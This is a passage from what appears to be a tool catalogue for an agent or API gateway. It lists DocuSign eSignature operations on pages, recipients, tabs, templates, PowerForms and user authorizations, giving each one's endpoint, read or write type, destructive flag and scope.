signature. docusign_esignature_pages_delete_page (write, destructive) — DESTRUCTIVE - Deletes a page from a document in an envelope. POST /api/v1/tools/docusign/esignature-pages-delete-page. Scopes: signature. docusign_esignature_pages_delete_template_page (write, destructive) — DESTRUCTIVE - Deletes a page from a document in an template. POST /api/v1/tools/docusign/esignature-pages-delete-template-page. Scopes: signature. docusign_esignature_pages_get_page_image (read) — Gets a page image from an envelope for display. GET /api/v1/tools/docusign/esignature-pages-get-page-image. Scopes: signature. docusign_esignature_pages_get_page_images (read) — Returns document page images based on input. GET /api/v1/tools/docusign/esignature-pages-get-page-images. Scopes: signature. docusign_esignature_pages_get_template_page_image (read) — Gets a page image from a template for display. GET /api/v1/tools/docusign/esignature-pages-get-template-page-image. Scopes: signature. docusign_esignature_pages_get_template_page_images (read) — Returns document page images based on input. GET /api/v1/tools/docusign/esignature-pages-get-template-page-images. Scopes: signature. docusign_esignature_pages_put_page_image (write) — Rotates page image from an envelope for display. POST /api/v1/tools/docusign/esignature-pages-put-page-image. Scopes: signature. docusign_esignature_pages_put_template_page_image (write) — Rotates page image from a template for display. POST /api/v1/tools/docusign/esignature-pages-put-template-page-image. Scopes: signature. docusign_esignature_password_rules_get_password_rules (read) — Gets membership account password rules. GET /restapi/v2.1/current_user/password_rules on DocuSign. GET /api/v1/tools/docusign/esignature-password-rules-get-password-rules. Scopes: signature. docusign_esignature_payment_gateway_accounts_get_all_payment_gateway_accounts (read) — List payment gateway accounts. GET /restapi/v2.1/accounts/{accountId}/payment_gateway_accounts on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-payment-gateway-accounts-get-all-payment-gateway-accounts. Scopes: signature. docusign_esignature_permission_profiles_delete_permission_profiles (write, destructive) — DESTRUCTIVE - Deletes a permission profile from an account. POST /api/v1/tools/docusign/esignature-permission-profiles-delete-permission-profiles. Scopes: signature. docusign_esignature_permission_profiles_get_permission_profile (read) — Returns a permission profile for an account. GET /api/v1/tools/docusign/esignature-permission-profiles-get-permission-profile. Scopes: signature. docusign_esignature_permission_profiles_get_permission_profiles (read) — Gets a list of permission profiles. GET /restapi/v2.1/accounts/{accountId}/permission_profiles on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-permission-profiles-get-permission-profiles. Scopes: signature. docusign_esignature_permission_profiles_post_permission_profiles (write) — Creates a new permission profile for an account. POST /api/v1/tools/docusign/esignature-permission-profiles-post-permission-profiles. Scopes: signature. docusign_esignature_permission_profiles_put_permission_profiles (write) — Updates a permission profile. PUT /restapi/v2.1/accounts/{accountId}/permission_profiles/{permissionProfileId} on DocuSign. Requires account_id, permission_profile_id. POST /api/v1/tools/docusign/esignature-permission-profiles-put-permission-profiles. Scopes: signature. docusign_esignature_power_forms_delete_power_form (write, destructive) — DESTRUCTIVE — Deletes a PowerForm. DELETE /restapi/v2.1/accounts/{accountId}/powerforms/{powerFormId} on DocuSign. Requires account_id, power_form_id. POST /api/v1/tools/docusign/esignature-power-forms-delete-power-form. Scopes: signature. docusign_esignature_power_forms_delete_power_forms_list (write, destructive) — DESTRUCTIVE - Deletes one or more PowerForms. POST /api/v1/tools/docusign/esignature-power-forms-delete-power-forms-list. Scopes: signature. docusign_esignature_power_forms_get_power_form (read) — Returns a single PowerForm. GET /restapi/v2.1/accounts/{accountId}/powerforms/{powerFormId} on DocuSign. Requires account_id, power_form_id. GET /api/v1/tools/docusign/esignature-power-forms-get-power-form. Scopes: signature. docusign_esignature_power_forms_get_power_form_form_data (read) — Returns the data that users entered in a PowerForm. GET /api/v1/tools/docusign/esignature-power-forms-get-power-form-form-data. Scopes: signature. docusign_esignature_power_forms_get_power_forms_list (read) — Returns a list of PowerForms. GET /restapi/v2.1/accounts/{accountId}/powerforms on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-power-forms-get-power-forms-list. Scopes: signature. docusign_esignature_power_forms_get_power_forms_senders (read) — Gets PowerForm senders. GET /restapi/v2.1/accounts/{accountId}/powerforms/senders on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-power-forms-get-power-forms-senders. Scopes: signature. docusign_esignature_power_forms_post_power_form (write) — Creates a new PowerForm. POST /restapi/v2.1/accounts/{accountId}/powerforms on DocuSign. Requires account_id. POST /api/v1/tools/docusign/esignature-power-forms-post-power-form. Scopes: signature. docusign_esignature_power_forms_put_power_form (write) — Updates an existing PowerForm. PUT /restapi/v2.1/accounts/{accountId}/powerforms/{powerFormId} on DocuSign. Requires account_id, power_form_id. POST /api/v1/tools/docusign/esignature-power-forms-put-power-form. Scopes: signature. docusign_esignature_purchased_envelopes_put_purchased_envelopes (write) — Reserved: Purchase additional envelopes. POST /api/v1/tools/docusign/esignature-purchased-envelopes-put-purchased-envelopes. Scopes: signature. docusign_esignature_recipients_delete_recipient (write, destructive) — DESTRUCTIVE - Deletes a recipient from an envelope. POST /api/v1/tools/docusign/esignature-recipients-delete-recipient. Scopes: signature. docusign_esignature_recipients_delete_recipient_tabs (write, destructive) — DESTRUCTIVE - Deletes the tabs associated with a recipient. **Note:** It is an error to delete a tab that has the `templateLocked` property set to true. This property corresponds to the **Restrict changes** option in the web app. POST /api/v1/tools/docusign/esignature-recipients-delete-recipient-tabs. Scopes: signature. docusign_esignature_recipients_delete_recipients (write, destructive) — DESTRUCTIVE - Deletes recipients from an envelope. POST /api/v1/tools/docusign/esignature-recipients-delete-recipients. Scopes: signature. docusign_esignature_recipients_delete_template_recipient (write, destructive) — DESTRUCTIVE - Deletes the specified recipient file from a template. POST /api/v1/tools/docusign/esignature-recipients-delete-template-recipient. Scopes: signature. docusign_esignature_recipients_delete_template_recipient_tabs (write, destructive) — DESTRUCTIVE - Deletes the tabs associated with a recipient in a template. POST /api/v1/tools/docusign/esignature-recipients-delete-template-recipient-tabs. Scopes: signature. docusign_esignature_recipients_delete_template_recipients (write, destructive) — DESTRUCTIVE - Deletes recipients from a template. POST /api/v1/tools/docusign/esignature-recipients-delete-template-recipients. Scopes: signature. docusign_esignature_recipients_get_recipient_document_visibility (read) — Returns document visibility for a recipient GET /api/v1/tools/docusign/esignature-recipients-get-recipient-document-visibility. Scopes: signature. docusign_esignature_recipients_get_recipient_initials_image (read) — Gets the initials image for a user. GET /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/recipients/{recipientId}/initials_image on DocuSign. Requires account_id, envelope_id, recipient_id. GET /api/v1/tools/docusign/esignature-recipients-get-recipient-initials-image. Scopes: signature. docusign_esignature_recipients_get_recipient_signature (read) — Gets signature information for a signer or sign-in-person recipient. GET /api/v1/tools/docusign/esignature-recipients-get-recipient-signature. Scopes: signature. docusign_esignature_recipients_get_recipient_signature_image (read) — Retrieve signature image information for a signer/sign-in-person recipient. GET /api/v1/tools/docusign/esignature-recipients-get-recipient-signature-image. Scopes: signature. docusign_esignature_recipients_get_recipient_tabs (read) — Gets the tabs information for a signer or sign-in-person recipient in an envelope. GET /api/v1/tools/docusign/esignature-recipients-get-recipient-tabs. Scopes: signature. docusign_esignature_recipients_get_recipients (read) — Gets the status of recipients for an envelope. GET /api/v1/tools/docusign/esignature-recipients-get-recipients. Scopes: signature. docusign_esignature_recipients_get_template_recipient_document_visibility (read) — Returns document visibility for a template recipient GET /api/v1/tools/docusign/esignature-recipients-get-template-recipient-document-visibility. Scopes: signature. docusign_esignature_recipients_get_template_recipient_tabs (read) — Gets the tabs information for a signer or sign-in-person recipient in a template. GET /api/v1/tools/docusign/esignature-recipients-get-template-recipient-tabs. Scopes: signature. docusign_esignature_recipients_get_template_recipients (read) — Gets recipient information from a template. GET /api/v1/tools/docusign/esignature-recipients-get-template-recipients. Scopes: signature. docusign_esignature_recipients_post_recipient_proof_file_resource_token (write) — Creates a resource token for a sender to request ID Evidence data. POST /api/v1/tools/docusign/esignature-recipients-post-recipient-proof-file-resource-token. Scopes: signature. docusign_esignature_recipients_post_recipient_tabs (write) — Adds tabs for a recipient. POST /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/recipients/{recipientId}/tabs on DocuSign. Requires account_id, envelope_id, recipient_id. POST /api/v1/tools/docusign/esignature-recipients-post-recipient-tabs. Scopes: signature. docusign_esignature_recipients_post_recipients (write) — Adds one or more recipients to an envelope. POST /api/v1/tools/docusign/esignature-recipients-post-recipients. Scopes: signature. docusign_esignature_recipients_post_template_recipient_tabs (write) — Adds tabs for a recipient. POST /restapi/v2.1/accounts/{accountId}/templates/{templateId}/recipients/{recipientId}/tabs on DocuSign. Requires account_id, recipient_id, template_id. POST /api/v1/tools/docusign/esignature-recipients-post-template-recipient-tabs. Scopes: signature. docusign_esignature_recipients_post_template_recipients (write) — Adds tabs for a recipient. POST /restapi/v2.1/accounts/{accountId}/templates/{templateId}/recipients on DocuSign. Requires account_id, template_id. POST /api/v1/tools/docusign/esignature-recipients-post-template-recipients. Scopes: signature. docusign_esignature_recipients_put_recipient_document_visibility (write) — Updates document visibility for a recipient POST /api/v1/tools/docusign/esignature-recipients-put-recipient-document-visibility. Scopes: signature. docusign_esignature_recipients_put_recipient_initials_image (write) — Sets the initials image for an accountless signer. POST /api/v1/tools/docusign/esignature-recipients-put-recipient-initials-image. Scopes: signature. docusign_esignature_recipients_put_recipient_signature_image (write) — Sets the signature image for an accountless signer. POST /api/v1/tools/docusign/esignature-recipients-put-recipient-signature-image. Scopes: signature. docusign_esignature_recipients_put_recipient_tabs (write) — Updates the tabs for a recipient. PUT /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/recipients/{recipientId}/tabs on DocuSign. Requires account_id, envelope_id, recipient_id. POST /api/v1/tools/docusign/esignature-recipients-put-recipient-tabs. Scopes: signature. docusign_esignature_recipients_put_recipients (write) — Updates recipients in a draft envelope or corrects recipient information for an in-process envelope. POST /api/v1/tools/docusign/esignature-recipients-put-recipients. Scopes: signature. docusign_esignature_recipients_put_recipients_document_visibility (write) — Updates document visibility for recipients POST /api/v1/tools/docusign/esignature-recipients-put-recipients-document-visibility. Scopes: signature. docusign_esignature_recipients_put_template_recipient_document_visibility (write) — Updates document visibility for a template recipient POST /api/v1/tools/docusign/esignature-recipients-put-template-recipient-document-visibility. Scopes: signature. docusign_esignature_recipients_put_template_recipient_tabs (write) — Updates the tabs for a recipient. PUT /restapi/v2.1/accounts/{accountId}/templates/{templateId}/recipients/{recipientId}/tabs on DocuSign. Requires account_id, recipient_id, template_id. POST /api/v1/tools/docusign/esignature-recipients-put-template-recipient-tabs. Scopes: signature. docusign_esignature_recipients_put_template_recipients (write) — Updates recipients in a template. PUT /restapi/v2.1/accounts/{accountId}/templates/{templateId}/recipients on DocuSign. Requires account_id, template_id. POST /api/v1/tools/docusign/esignature-recipients-put-template-recipients. Scopes: signature. docusign_esignature_recipients_put_template_recipients_document_visibility (write) — Updates document visibility for template recipients POST /api/v1/tools/docusign/esignature-recipients-put-template-recipients-document-visibility. Scopes: signature. docusign_esignature_responsive_html_get_envelope_document_html_definitions (read) — Retrieves the HTML definition used to generate a dynamically sized responsive document. GET /api/v1/tools/docusign/esignature-responsive-html-get-envelope-document-html-definitions. Scopes: signature. docusign_esignature_responsive_html_get_envelope_html_definitions (read) — Gets the Original HTML Definition used to generate the Responsive HTML for the envelope. GET /api/v1/tools/docusign/esignature-responsive-html-get-envelope-html-definitions. Scopes: signature. docusign_esignature_responsive_html_get_template_document_html_definitions (read) — Gets the Original HTML Definition used to generate the Responsive HTML for a given document in a template. GET /api/v1/tools/docusign/esignature-responsive-html-get-template-document-html-definitions. Scopes: signature. docusign_esignature_responsive_html_get_template_html_definitions (read) — Gets the Original HTML Definition used to generate the Responsive HTML for the template. GET /api/v1/tools/docusign/esignature-responsive-html-get-template-html-definitions. Scopes: signature. docusign_esignature_responsive_html_post_document_responsive_html_preview (write) — Creates a preview of the responsive version of a document. POST /api/v1/tools/docusign/esignature-responsive-html-post-document-responsive-html-preview. Scopes: signature. docusign_esignature_responsive_html_post_responsive_html_preview (write) — Creates a preview of the responsive versions of all of the documents in an envelope. POST /api/v1/tools/docusign/esignature-responsive-html-post-responsive-html-preview. Scopes: signature. docusign_esignature_responsive_html_post_template_document_responsive_html_preview (write) — Creates a preview of the responsive version of a template document. POST /api/v1/tools/docusign/esignature-responsive-html-post-template-document-responsive-html-preview. Scopes: signature. docusign_esignature_responsive_html_post_template_responsive_html_preview (write) — Creates a preview of the responsive versions of all of the documents associated with a template. POST /api/v1/tools/docusign/esignature-responsive-html-post-template-responsive-html-preview. Scopes: signature. docusign_esignature_search_folders_get_search_folder_contents (read) — Deprecated. Use Envelopes: listStatusChanges. GET /api/v1/tools/docusign/esignature-search-folders-get-search-folder-contents. Scopes: signature. docusign_esignature_service_information_get_resource_information (read) — Lists resources for REST version specified GET /api/v1/tools/docusign/esignature-service-information-get-resource-information. Scopes: signature. docusign_esignature_service_information_get_service_information (read) — Retrieves the available REST API versions. GET /api/v1/tools/docusign/esignature-service-information-get-service-information. Scopes: signature. docusign_esignature_settings_get_settings (read) — Gets account settings information. GET /restapi/v2.1/accounts/{accountId}/settings on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-settings-get-settings. Scopes: signature. docusign_esignature_settings_put_settings (write) — Updates the account settings for an account. POST /api/v1/tools/docusign/esignature-settings-put-settings. Scopes: signature. docusign_esignature_shared_access_get_shared_access (read) — Reserved: Gets the shared item status for one or more users. GET /api/v1/tools/docusign/esignature-shared-access-get-shared-access. Scopes: signature. docusign_esignature_shared_access_put_shared_access (write) — Reserved: Sets the shared access information for users. POST /api/v1/tools/docusign/esignature-shared-access-put-shared-access. Scopes: signature. docusign_esignature_shared_envelopes_list_get_shared_envelopes (read) — GET /restapi/v2.1/accounts/{accountId}/envelopes/shared GET /api/v1/tools/docusign/esignature-shared-envelopes-list-get-shared-envelopes. Scopes: signature. docusign_esignature_signing_groups_delete_signing_group_users (write, destructive) — DESTRUCTIVE - Deletes one or more members from a signing group. POST /api/v1/tools/docusign/esignature-signing-groups-delete-signing-group-users. Scopes: signature. docusign_esignature_signing_groups_delete_signing_groups (write, destructive) — DESTRUCTIVE - Deletes one or more signing groups. POST /api/v1/tools/docusign/esignature-signing-groups-delete-signing-groups. Scopes: signature. docusign_esignature_signing_groups_get_signing_group (read) — Gets information about a signing group. GET /restapi/v2.1/accounts/{accountId}/signing_groups/{signingGroupId} on DocuSign. Requires account_id, signing_group_id. GET /api/v1/tools/docusign/esignature-signing-groups-get-signing-group. Scopes: signature. docusign_esignature_signing_groups_get_signing_group_users (read) — Gets a list of members in a Signing Group. GET /api/v1/tools/docusign/esignature-signing-groups-get-signing-group-users. Scopes: signature. docusign_esignature_signing_groups_get_signing_groups (read) — Gets a list of the Signing Groups in an account. GET /api/v1/tools/docusign/esignature-signing-groups-get-signing-groups. Scopes: signature. docusign_esignature_signing_groups_post_signing_groups (write) — Creates a signing group. POST /restapi/v2.1/accounts/{accountId}/signing_groups on DocuSign. Requires account_id. POST /api/v1/tools/docusign/esignature-signing-groups-post-signing-groups. Scopes: signature. docusign_esignature_signing_groups_put_signing_group (write) — Updates a signing group. PUT /restapi/v2.1/accounts/{accountId}/signing_groups/{signingGroupId} on DocuSign. Requires account_id, signing_group_id. POST /api/v1/tools/docusign/esignature-signing-groups-put-signing-group. Scopes: signature. docusign_esignature_signing_groups_put_signing_group_users (write) — Adds members to a signing group. PUT /restapi/v2.1/accounts/{accountId}/signing_groups/{signingGroupId}/users on DocuSign. Requires account_id, signing_group_id. POST /api/v1/tools/docusign/esignature-signing-groups-put-signing-group-users. Scopes: signature. docusign_esignature_signing_groups_put_signing_groups (write) — Updates signing group names. PUT /restapi/v2.1/accounts/{accountId}/signing_groups on DocuSign. Requires account_id. POST /api/v1/tools/docusign/esignature-signing-groups-put-signing-groups. Scopes: signature. docusign_esignature_supported_languages_get_supported_languages (read) — Gets the supported languages for envelope recipients. GET /api/v1/tools/docusign/esignature-supported-languages-get-supported-languages. Scopes: signature. docusign_esignature_tab_delete_custom_tab (write, destructive) — DESTRUCTIVE - Deletes custom tab information. POST /api/v1/tools/docusign/esignature-tab-delete-custom-tab. Scopes: signature. docusign_esignature_tab_get_custom_tab (read) — Gets custom tab information. GET /restapi/v2.1/accounts/{accountId}/tab_definitions/{customTabId} on DocuSign. Requires account_id, custom_tab_id. GET /api/v1/tools/docusign/esignature-tab-get-custom-tab. Scopes: signature. docusign_esignature_tab_put_custom_tab (write) — Updates custom tab information. PUT /restapi/v2.1/accounts/{accountId}/tab_definitions/{customTabId} on DocuSign. Requires account_id, custom_tab_id. POST /api/v1/tools/docusign/esignature-tab-put-custom-tab. Scopes: signature. docusign_esignature_tab_settings_get_tab_settings (read) — Returns tab settings list for specified account GET /api/v1/tools/docusign/esignature-tab-settings-get-tab-settings. Scopes: signature. docusign_esignature_tab_settings_put_settings (write) — Modifies tab settings for specified account POST /api/v1/tools/docusign/esignature-tab-settings-put-settings. Scopes: signature. docusign_esignature_tabs_blob_get_tabs_blob (read) — Reserved for Docusign. GET /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/tabs_blob on DocuSign. Requires account_id, envelope_id. GET /api/v1/tools/docusign/esignature-tabs-blob-get-tabs-blob. Scopes: signature. docusign_esignature_tabs_blob_put_tabs_blob (write) — Reserved for Docusign. PUT /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/tabs_blob on DocuSign. Requires account_id, envelope_id. POST /api/v1/tools/docusign/esignature-tabs-blob-put-tabs-blob. Scopes: signature. docusign_esignature_tabs_delete_document_tabs (write, destructive) — DESTRUCTIVE - Deletes tabs from a document in an envelope. POST /api/v1/tools/docusign/esignature-tabs-delete-document-tabs. Scopes: signature. docusign_esignature_tabs_delete_template_document_tabs (write, destructive) — DESTRUCTIVE - Deletes tabs from a template. POST /api/v1/tools/docusign/esignature-tabs-delete-template-document-tabs. Scopes: signature. docusign_esignature_tabs_get_document_tabs (read) — Returns the tabs on a document. GET /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/documents/{documentId}/tabs on DocuSign. Requires account_id, document_id, envelope_id. GET /api/v1/tools/docusign/esignature-tabs-get-document-tabs. Scopes: signature. docusign_esignature_tabs_get_page_tabs (read) — Returns tabs on the specified page. GET /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/documents/{documentId}/pages/{pageNumber}/tabs on DocuSign. Requires account_id, document_id, envelope_id, page_number. GET /api/v1/tools/docusign/esignature-tabs-get-page-tabs. Scopes: signature. docusign_esignature_tabs_get_tab_definitions (read) — Gets a list of all account tabs. GET /restapi/v2.1/accounts/{accountId}/tab_definitions on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-tabs-get-tab-definitions. Scopes: signature. docusign_esignature_tabs_get_template_document_tabs (read) — Returns tabs on a template. GET /restapi/v2.1/accounts/{accountId}/templates/{templateId}/documents/{documentId}/tabs on DocuSign. Requires account_id, document_id, template_id. GET /api/v1/tools/docusign/esignature-tabs-get-template-document-tabs. Scopes: signature. docusign_esignature_tabs_get_template_page_tabs (read) — Returns tabs on the specified page. GET /restapi/v2.1/accounts/{accountId}/templates/{templateId}/documents/{documentId}/pages/{pageNumber}/tabs on DocuSign. Requires account_id, document_id, page_number, template_id. GET /api/v1/tools/docusign/esignature-tabs-get-template-page-tabs. Scopes: signature. docusign_esignature_tabs_post_document_tabs (write) — Adds tabs to a document in an envelope. POST /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/documents/{documentId}/tabs on DocuSign. Requires account_id, document_id, envelope_id. POST /api/v1/tools/docusign/esignature-tabs-post-document-tabs. Scopes: signature. docusign_esignature_tabs_post_tab_definitions (write) — Creates a custom tab. POST /restapi/v2.1/accounts/{accountId}/tab_definitions on DocuSign. Requires account_id. POST /api/v1/tools/docusign/esignature-tabs-post-tab-definitions. Scopes: signature. docusign_esignature_tabs_post_template_document_tabs (write) — Adds tabs to a document in a template. POST /restapi/v2.1/accounts/{accountId}/templates/{templateId}/documents/{documentId}/tabs on DocuSign. Requires account_id, document_id, template_id. POST /api/v1/tools/docusign/esignature-tabs-post-template-document-tabs. Scopes: signature. docusign_esignature_tabs_put_document_tabs (write) — Updates the tabs for document. PUT /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/documents/{documentId}/tabs on DocuSign. Requires account_id, document_id, envelope_id. POST /api/v1/tools/docusign/esignature-tabs-put-document-tabs. Scopes: signature. docusign_esignature_tabs_put_template_document_tabs (write) — Updates the tabs for a template. PUT /restapi/v2.1/accounts/{accountId}/templates/{templateId}/documents/{documentId}/tabs on DocuSign. Requires account_id, document_id, template_id. POST /api/v1/tools/docusign/esignature-tabs-put-template-document-tabs. Scopes: signature. docusign_esignature_template_workflow_definition_delete_template_workflow_definition (write, destructive) — DESTRUCTIVE - Delete the workflow definition for a template. POST /api/v1/tools/docusign/esignature-template-workflow-definition-delete-template-workflow-definition. Scopes: signature. docusign_esignature_template_workflow_definition_get_template_workflow_definition (read) — Returns the workflow definition for a template. GET /api/v1/tools/docusign/esignature-template-workflow-definition-get-template-workflow-definition. Scopes: signature. docusign_esignature_template_workflow_definition_put_template_workflow_definition (write) — Updates the workflow definition for a template. POST /api/v1/tools/docusign/esignature-template-workflow-definition-put-template-workflow-definition. Scopes: signature. docusign_esignature_template_workflow_delayed_routing_delete_template_delayed_routing_definition (write, destructive) — DESTRUCTIVE - Deletes the delayed routing rules for the specified template workflow step. POST /api/v1/tools/docusign/esignature-template-workflow-delayed-routing-delete-template-delayed-routing-definition. Scopes: signature. docusign_esignature_template_workflow_delayed_routing_get_template_delayed_routing_definition (read) — Returns the delayed routing rules for a template's workflow step definition. GET /api/v1/tools/docusign/esignature-template-workflow-delayed-routing-get-template-delayed-routing-definition. Scopes: signature. docusign_esignature_template_workflow_delayed_routing_put_template_delayed_routing_definition (write) — Updates the delayed routing rules for a template's workflow step. POST /api/v1/tools/docusign/esignature-template-workflow-delayed-routing-put-template-delayed-routing-definition. Scopes: signature. docusign_esignature_template_workflow_scheduled_sending_delete_template_scheduled_sending_definition (write, destructive) — DESTRUCTIVE - Deletes the scheduled sending rules for the template's workflow. POST /api/v1/tools/docusign/esignature-template-workflow-scheduled-sending-delete-template-scheduled-sending-definition. Scopes: signature. docusign_esignature_template_workflow_scheduled_sending_get_template_scheduled_sending_definition (read) — Returns the scheduled sending rules for a template's workflow definition. GET /api/v1/tools/docusign/esignature-template-workflow-scheduled-sending-get-template-scheduled-sending-definition. Scopes: signature. docusign_esignature_template_workflow_scheduled_sending_put_template_scheduled_sending_definition (write) — Updates the scheduled sending rules for a template's workflow definition. POST /api/v1/tools/docusign/esignature-template-workflow-scheduled-sending-put-template-scheduled-sending-definition. Scopes: signature. docusign_esignature_template_workflow_step_delete_template_workflow_step_definition (write, destructive) — DESTRUCTIVE - Deletes a workflow step from an template's workflow definition. POST /api/v1/tools/docusign/esignature-template-workflow-step-delete-template-workflow-step-definition. Scopes: signature. docusign_esignature_template_workflow_step_get_template_workflow_step_definition (read) — Returns a specified workflow step for a specified envelope. GET /api/v1/tools/docusign/esignature-template-workflow-step-get-template-workflow-step-definition. Scopes: signature. docusign_esignature_template_workflow_step_post_template_workflow_step_definition (write) — Adds a new step to a template's workflow. POST /api/v1/tools/docusign/esignature-template-workflow-step-post-template-workflow-step-definition. Scopes: signature. docusign_esignature_template_workflow_step_put_template_workflow_step_definition (write) — Updates a specified workflow step for a template. POST /api/v1/tools/docusign/esignature-template-workflow-step-put-template-workflow-step-definition. Scopes: signature. docusign_esignature_templates_auto_match_put_templates (write) — PUT /restapi/v2.1/accounts/{accountId}/templates/auto_match POST /api/v1/tools/docusign/esignature-templates-auto-match-put-templates. Scopes: signature. docusign_esignature_templates_delete_document_templates (write, destructive) — DESTRUCTIVE - Deletes a template from a document in an existing envelope. POST /api/v1/tools/docusign/esignature-templates-delete-document-templates. Scopes: signature. docusign_esignature_templates_delete_template_part (write, destructive) — DESTRUCTIVE - Removes a member group's sharing permissions for a template. POST /api/v1/tools/docusign/esignature-templates-delete-template-part. Scopes: signature. docusign_esignature_templates_get_document_templates (read) — Gets the templates associated with a document in an existing envelope. GET /api/v1/tools/docusign/esignature-templates-get-document-templates. Scopes: signature. docusign_esignature_templates_get_envelope_templates (read) — Gets templates used in an envelope. GET /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/templates on DocuSign. Requires account_id, envelope_id. GET /api/v1/tools/docusign/esignature-templates-get-envelope-templates. Scopes: signature. docusign_esignature_templates_get_template (read) — Gets a specific template associated with a specified account. GET /api/v1/tools/docusign/esignature-templates-get-template. Scopes: signature. docusign_esignature_templates_get_templates (read) — Gets the list of templates. GET /restapi/v2.1/accounts/{accountId}/templates on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-templates-get-templates. Scopes: signature. docusign_esignature_templates_post_document_templates (write) — Adds templates to a document in an envelope. POST /api/v1/tools/docusign/esignature-templates-post-document-templates. Scopes: signature. docusign_esignature_templates_post_envelope_templates (write) — Adds templates to an envelope. POST /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/templates on DocuSign. Requires account_id, envelope_id. POST /api/v1/tools/docusign/esignature-templates-post-envelope-templates. Scopes: signature. docusign_esignature_templates_post_templates (write) — Creates one or more templates. POST /restapi/v2.1/accounts/{accountId}/templates on DocuSign. Requires account_id. POST /api/v1/tools/docusign/esignature-templates-post-templates. Scopes: signature. docusign_esignature_templates_put_template (write) — Updates an existing template. PUT /restapi/v2.1/accounts/{accountId}/templates/{templateId} on DocuSign. Requires account_id, template_id. POST /api/v1/tools/docusign/esignature-templates-put-template. Scopes: signature. docusign_esignature_templates_put_template_part (write) — Shares a template with a group. PUT /restapi/v2.1/accounts/{accountId}/templates/{templateId}/{templatePart} on DocuSign. Requires account_id, template_id, template_part. POST /api/v1/tools/docusign/esignature-templates-put-template-part. Scopes: signature. docusign_esignature_templates_put_templates (write) — PUT /restapi/v2.1/accounts/{accountId}/templates POST /api/v1/tools/docusign/esignature-templates-put-templates. Scopes: signature. docusign_esignature_unsupported_file_types_get_unsupported_file_types (read) — Gets a list of unsupported file types. GET /restapi/v2.1/accounts/{accountId}/unsupported_file_types on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-unsupported-file-types-get-unsupported-file-types. Scopes: signature. docusign_esignature_user_agent_authorizations_get_agent_user_authorizations (read) — Returns the authorizations for which the specified user is the agent user. GET /api/v1/tools/docusign/esignature-user-agent-authorizations-get-agent-user-authorizations. Scopes: signature. docusign_esignature_user_authorization_create_user_authorization (write) — Creates a user authorization. POST /restapi/v2.1/accounts/{accountId}/users/{userId}/authorization on DocuSign. Requires account_id, user_id. POST /api/v1/tools/docusign/esignature-user-authorization-create-user-authorization. Scopes: signature. docusign_esignature_user_authorization_delete_user_authorization (write, destructive) — DESTRUCTIVE - Deletes the user authorization. POST /api/v1/tools/docusign/esignature-user-authorization-delete-user-authorization. Scopes: signature. docusign_esignature_user_authorization_get_user_authorization (read) — Returns the user authorization for a given authorization ID. GET /api/v1/tools/docusign/esignature-user-authorization-get-user-authorization. Scopes: signature. docusign_esignature_user_authorization_update_user_authorization (write) — Updates the start or end date for a user authorization. POST /api/v1/tools/docusign/esignature-user-authorization-update-user-authorization. Scopes: signature. docusign_esignature_user_authorizations_delete_user_authorizations (write, destructive) — DESTRUCTIVE - Delete multiple user authorizations. POST /api/v1/tools/docusign/esignature-user-authorizations-delete-user-authorizations. Scopes: signature. docusign_esignature_user_authorizations_get_principal_user_authorizations (read) — Returns the authorizations for which the specified user is the principal user. GET /api/v1/tools/docusign/esignature-user-authorizations-get-principal-user-authorizations. Scopes: signature. docusign_esignature_user_authorizations_post_user_authorizations (write) — Create or update multiple user authorizations. POST /api/v1/tools/docusign/esignature-user-authorizations-post-user-authorizations. Scopes: signature. docusign_esignature_user_custom_settings_delete_custom_settings (write, destructive) — DESTRUCTIVE - Deletes custom user settings for a specified user. POST /api/v1/tools/docusign/esignature-user-custom-settings-delete-custom-settings. Scopes: signature. docusign_esignature_user_custom_settings_get_custom_settings (read) — Retrieves the custom user settings for a specified user. GET /api/v1/tools/docusign/esignature-user-custom-settings-get-custom-settings. Scopes: signature. docusign_esignature_user_custom_settings_put_custom_settings (write) — Adds or updates custom user settings for the specified user. POST /api/v1/tools/docusign/esignature-user-custom-settings-put-custom-settings. Scopes: signature. docusign_esignature_user_get_user (read) — Gets the user information for a specified user using a userId (GUID). To find a user based on their email address, use the list endpoint. GET /api/v1/tools/docusign/esignature-user-get-user. Scopes: signature. docusign_esignature_user_profile_get_profile (read) — Retrieves the user profile for a specified user. GET /api/v1/tools/docusign/esignature-user-profile-get-profile. Scopes: signature. docusign_esignature_user_profile_image_delete_user_profile_image (write, destructive) — DESTRUCTIVE - Deletes the user profile image for the specified user. POST /api/v1/tools/docusign/esignature-user-profile-image-delete-user-profile-image. Scopes: signature. docusign_esignature_user_profile_image_get_user_profile_image (read) — Retrieves the user profile image for the specified user. GET /api/v1/tools/docusign/esignature-user-profile-image-get-user-profile-image. Scopes: signature. docusign_esignature_user_profile_image_put_user_profile_image (write) — Updates the user profile image for a specified user. POST /api/v1/tools/docusign/esignature-user-profile-image-put-user-profile-image. Scopes: signature. docusign_esignature_user_profile_put_profile (write) — Updates the user profile information for the specified user. POST /api/v1/tools/docusign/esignature-user-profile-put-profile. Scopes: signature. docusign_esignature_user_put_user (write) — Updates user information for the specified user. POST /api/v1/tools/docusign/esignature-user-put-user. Scopes: signature. docusign_esignature_user_settings_get_user_settings (read) — Gets the user account settings for a specified user. GET /api/v1/tools/docusign/esignature-user-settings-get-user-settings. Scopes: signature. docusign_esignature_user_settings_put_user_settings (write) — Updates the user account settings for a specified user. POST /api/v1/tools/docusign/esignature-user-settings-put-user-settings. Scopes: signature. docusign_esignature_user_signatures_delete_user_signature (write, destructive) — DESTRUCTIVE - 